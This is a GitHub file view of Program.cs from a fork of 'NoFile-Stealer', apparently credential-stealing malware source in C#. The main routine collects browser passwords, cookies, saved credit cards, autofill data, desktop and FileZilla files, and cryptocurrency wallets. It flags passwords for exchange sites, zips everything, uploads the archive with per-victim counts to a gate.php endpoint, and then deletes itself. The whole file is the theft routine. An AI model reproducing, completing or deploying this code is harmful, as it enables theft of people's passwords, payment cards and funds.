forked from ims0rry/NoFile-Stealer
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
84 lines (68 loc) · 2.89 KB
/
Program.cs
File metadata and controls
84 lines (68 loc) · 2.89 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Reflection;
//using System.Linq;
using System.Text;
namespace NoFile
{
class Program
{
private static string url = "";
static void Main(string[] args)
{
string dir = Environment.GetEnvironmentVariable("temp") + "\\" + Helper.GetHwid();
string workDir = dir + "\\Directory";
string browserDir = workDir + "\\Browsers";
string filesDir = workDir + "\\Files";
string cryptoDir = workDir + "\\Wallets";
Directory.CreateDirectory(workDir);
Directory.CreateDirectory(browserDir);
Directory.CreateDirectory(filesDir);
Directory.CreateDirectory(cryptoDir);
bool bl = false;
string text = "";
List<PassData> pwd = Browsers.GetPasswords();
foreach (PassData i in pwd)
{
if (i.ToString().Contains("blockchain") || i.ToString().Contains("coinbase") || i.ToString().Contains("cryptonator") || i.ToString().Contains("cryptopia")
|| i.ToString().Contains("dogechain") || i.ToString().Contains("hitbtc") || i.ToString().Contains("exmo") || i.ToString().Contains("minergate")
|| i.ToString().Contains("poloniex") || i.ToString().Contains("yobit") || i.ToString().Contains("myetherwallet"))
bl = true;
text += i.ToString();
}
File.WriteAllText(browserDir + "\\Passwords.txt", text);
text = "";
List<CookieData> cki = Browsers.GetCookies();
foreach (CookieData i in cki)
{
text += i.ToString();
}
File.WriteAllText(browserDir + "\\Cookies.txt", text);
text = "";
List<CardData> cc = Browsers.GetCards();
foreach (CardData i in cc)
{
text += i.ToString();
}
File.WriteAllText(browserDir + "\\CC.txt", text);
text = "";
List<FormData> frm = Browsers.GetForms();
foreach (FormData i in frm)
{
text += i.ToString();
}
File.WriteAllText(browserDir + "\\Autofill.txt", text);
text = "";
Files.Desktop(filesDir);
Files.FileZilla(filesDir);
int wlt = Crypto.Steal(cryptoDir);
string zipName = dir + "\\" + Helper.GetHwid() + ".zip";
Helper.Zip(workDir, zipName);
Helper.SendFile(string.Format(url + "/gate.php?hwid={0}&pwd={1}&cki={2}&cc={3}&frm={4}&wlt={5}", Helper.GetHwid(), pwd.Count, cki.Count, cc.Count, frm.Count, wlt), zipName);
Helper.SelfDelete(dir, dir + "\\temp.exe");
// //Console.ReadKey();
}
}
}